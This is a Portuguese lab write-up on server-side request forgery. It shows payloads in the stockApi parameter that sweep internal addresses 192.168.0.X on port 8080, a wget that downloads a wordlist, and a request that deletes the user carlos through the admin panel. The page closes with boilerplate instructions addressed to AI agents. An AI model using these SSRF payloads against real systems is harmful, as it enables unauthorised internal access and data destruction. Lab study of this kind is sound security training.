> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssrf/basic-ssrf-against-internal-system.md).

# SSRF Básico Contra um Sistema Interno

## SSRF básico contra outro sistema de back-end

Este laboratório oferece um recurso de verificação de estoque que consulta um serviço interno. / O objetivo é usar esse mecanismo para analisar a faixa interna **192.168.0.X** procurando uma interface de administração na porta **8080**, então exclua o usuário carlos.

#### **Análise e Exploração**

* O **stockApi** o parâmetro é enviado para **Intruder** para automatizar o teste de endereço interno:

```javascript
stockApi=http://192.168.0.§1§:8080/admin
```

<figure><img src="/files/a2ef9bb894ab0703fab3bcf4333f158894f3a8b2" alt=""><figcaption></figcaption></figure>

Um ataque de força bruta é realizado no **254 endereços possíveis** da faixa interna, todos com o caminho /admin.

Um dicionário de valores é baixado para alimentar o ataque:

```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```

* Após iniciar o ataque, o **192.168.0.14** endereço retorna um \*\*código HTTP 200\*\*, indicando que a interface de administração está acessível.

<figure><img src="/files/8849d35584bc9ce5662bfb64567376339d21454b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/19ccc63b268c2d3c1fac34fdfcb27e40be8e85e5" alt="" width="563"><figcaption></figcaption></figure>

#### **Exclusão do usuário**

* Acesso ao painel de administração:

```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```

<figure><img src="/files/4c654c9925224952ccca7c05d3b816cc70e07378" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/ssrf/basic-ssrf-against-internal-system.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
